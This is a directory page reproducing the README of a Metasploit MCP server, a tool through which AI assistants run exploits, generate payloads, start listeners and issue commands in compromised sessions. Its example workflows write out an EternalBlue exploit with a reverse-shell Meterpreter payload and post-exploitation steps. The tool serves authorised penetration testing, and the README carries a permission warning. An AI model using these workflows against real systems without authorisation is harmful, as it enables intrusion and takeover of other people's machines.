Skip to main content
Glama

Metasploit MCP Server

by GH05TCREW

Metasploit MCP Server

A Model Context Protocol (MCP) server for Metasploit Framework integration.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Description

This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.

Features

Module Information

  • list_exploits: Search and list available Metasploit exploit modules
  • list_payloads: Search and list available Metasploit payload modules with optional platform and architecture filtering

Exploitation Workflow

  • run_exploit: Configure and execute an exploit against a target with options to run checks first
  • run_auxiliary_module: Run any Metasploit auxiliary module with custom options
  • run_post_module: Execute post-exploitation modules against existing sessions

Payload Generation

  • generate_payload: Generate payload files using Metasploit RPC (saves files locally)

Session Management

  • list_active_sessions: Show current Metasploit sessions with detailed information
  • send_session_command: Run a command in an active shell or Meterpreter session
  • terminate_session: Forcefully end an active session

Handler Management

  • list_listeners: Show all active handlers and background jobs
  • start_listener: Create a new multi/handler to receive connections
  • stop_job: Terminate any running job or handler

Prerequisites

  • Metasploit Framework installed and msfrpcd running
  • Python 3.10 or higher
  • Required Python packages (see requirements.txt)

Installation

  1. Clone this repository
  2. Install dependencies:
    pip install -r requirements.txt
  3. Configure environment variables (optional):
    MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads

Usage

Start the Metasploit RPC service:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Transport Options

The server supports two transport methods:

  • HTTP/SSE (Server-Sent Events): Default mode for interoperability with most MCP clients
  • STDIO (Standard Input/Output): Used with Claude Desktop and similar direct pipe connections

You can explicitly select the transport mode using the --transport flag:

# Run with HTTP/SSE transport (default) python MetasploitMCP.py --transport http # Run with STDIO transport python MetasploitMCP.py --transport stdio

Additional options for HTTP mode:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude Desktop Integration

For Claude Desktop integration, configure claude_desktop_config.json:

{ "mcpServers": { "metasploit": { "command": "uv", "args": [ "--directory", "C:\\path\\to\\MetasploitMCP", "run", "MetasploitMCP.py", "--transport", "stdio" ], "env": { "MSF_PASSWORD": "yourpassword" } } } }

Other MCP Clients

For other MCP clients that use HTTP/SSE:

  1. Start the server in HTTP mode:
    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
  2. Configure your MCP client to connect to:
    • SSE endpoint: http://your-server-ip:8085/sse

Security Considerations

⚠️ IMPORTANT SECURITY WARNING:

This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.

  • Always validate and review all commands before execution
  • Only run in segregated test environments or with proper authorization
  • Be aware that post-exploitation commands can result in significant system modifications

Example Workflows

Basic Exploitation

  1. List available exploits: list_exploits("ms17_010")
  2. Select and run an exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
  3. List sessions: list_active_sessions()
  4. Run commands: send_session_command(1, "whoami")

Post-Exploitation

  1. Run a post module: run_post_module("windows/gather/enum_logged_on_users", 1)
  2. Send custom commands: send_session_command(1, "sysinfo")
  3. Terminate when done: terminate_session(1)

Handler Management

  1. Start a listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. List active handlers: list_listeners()
  3. Generate a payload: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. Stop a handler: stop_job(1)

Testing

This project includes comprehensive unit and integration tests to ensure reliability and maintainability.

Prerequisites for Testing

Install test dependencies:

pip install -r requirements-test.txt

Or use the convenient installer:

python run_tests.py --install-deps # OR make install-deps

Running Tests

Quick Commands
# Run all tests python run_tests.py --all # OR make test # Run with coverage report python run_tests.py --all --coverage # OR make coverage # Run with HTML coverage report python run_tests.py --all --coverage --html # OR make coverage-html
Specific Test Suites
# Unit tests only python run_tests.py --unit # OR make test-unit # Integration tests only python run_tests.py --integration # OR make test-integration # Options parsing tests python run_tests.py --options # OR make test-options # Helper function tests python run_tests.py --helpers # OR make test-helpers # MCP tools tests python run_tests.py --tools # OR make test-tools
Test Options
# Include slow tests python run_tests.py --all --slow # Include network tests (requires actual network) python run_tests.py --all --network # Verbose output python run_tests.py --all --verbose # Quick test (no coverage, fail fast) make quick-test # Debug mode (detailed failure info) make test-debug

Test Structure

  • tests/test_options_parsing.py: Unit tests for the graceful options parsing functionality
  • tests/test_helpers.py: Unit tests for internal helper functions and MSF client management
  • tests/test_tools_integration.py: Integration tests for all MCP tools with mocked Metasploit backend
  • conftest.py: Shared test fixtures and configuration
  • pytest.ini: Pytest configuration with coverage settings

Test Features

  • Comprehensive Mocking: All Metasploit dependencies are mocked, so tests run without requiring an actual MSF installation
  • Async Support: Full async/await testing support using pytest-asyncio
  • Coverage Reporting: Detailed coverage analysis with HTML reports
  • Parametrized Tests: Efficient testing of multiple input scenarios
  • Fixture Management: Reusable test fixtures for common setup scenarios

Coverage Reports

After running tests with coverage, reports are available in:

  • Terminal: Coverage summary displayed after test run
  • HTML: htmlcov/index.html (when using --html option)

CI/CD Integration

For continuous integration:

# CI-friendly test command make ci-test # OR python run_tests.py --all --coverage --verbose

Configuration Options

Payload Save Directory

By default, payloads generated with generate_payload are saved to a payloads directory in your home folder (~/payloads or C:\Users\YourUsername\payloads). You can customize this location by setting the PAYLOAD_SAVE_DIR environment variable.

Setting the environment variable:

  • Windows (PowerShell):
    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  • Windows (Command Prompt):
    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  • Linux/macOS:
    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  • In Claude Desktop config:
    "env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }

Note: If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.

License

Apache 2.0

-
security - not tested
A
license - permissive license
-
quality - not tested

hybrid server

The server is able to function both locally and remotely, depending on the configuration or use case.

Provides a bridge between large language models and the Metasploit Framework, enabling AI assistants to access and control penetration testing functionality through natural language.

  1. Description
    1. Features
      1. Module Information
      2. Exploitation Workflow
      3. Payload Generation
      4. Session Management
      5. Handler Management
    2. Prerequisites
      1. Installation
        1. Usage
          1. Transport Options
          2. Claude Desktop Integration
          3. Other MCP Clients
        2. Security Considerations
          1. Example Workflows
            1. Basic Exploitation
            2. Post-Exploitation
            3. Handler Management
          2. Configuration Options
            1. Payload Save Directory
          3. License

            Related MCP Servers

            • -
              security
              F
              license
              -
              quality
              A demonstration server that allows large language models to perform penetration testing tasks autonomously by interfacing with the Mythic C2 framework.
              Last updated -
              67
              • Apple
            • -
              security
              A
              license
              -
              quality
              A FastMCP-based interface for Metasploit Framework, enabling AI agents to interact with Metasploit capabilities for exploitation, payload generation, target scanning, and session management.
              Last updated -
              13
              Apache 2.0
              • Linux
              • Apple
            • -
              security
              A
              license
              -
              quality
              A module that enables AI assistants to access and utilize common penetration testing and security tools like Nmap and Metasploit through a simple interface.
              Last updated -
              2
              GPL 3.0
            • -
              security
              A
              license
              -
              quality
              A middleware system that connects large language models (LLMs) with various tool services through an OpenAI-compatible API, enabling enhanced AI assistant capabilities with features like file operations, web browsing, and database management.
              Last updated -
              3
              MIT License

            View all related MCP servers

            MCP directory API

            We provide all the information about MCP servers via our MCP API.

            curl -X GET 'https://glama.ai/api/mcp/v1/servers/GH05TCREW/MetasploitMCP'

            If you have feedback or need assistance with the MCP directory API, please join our Discord server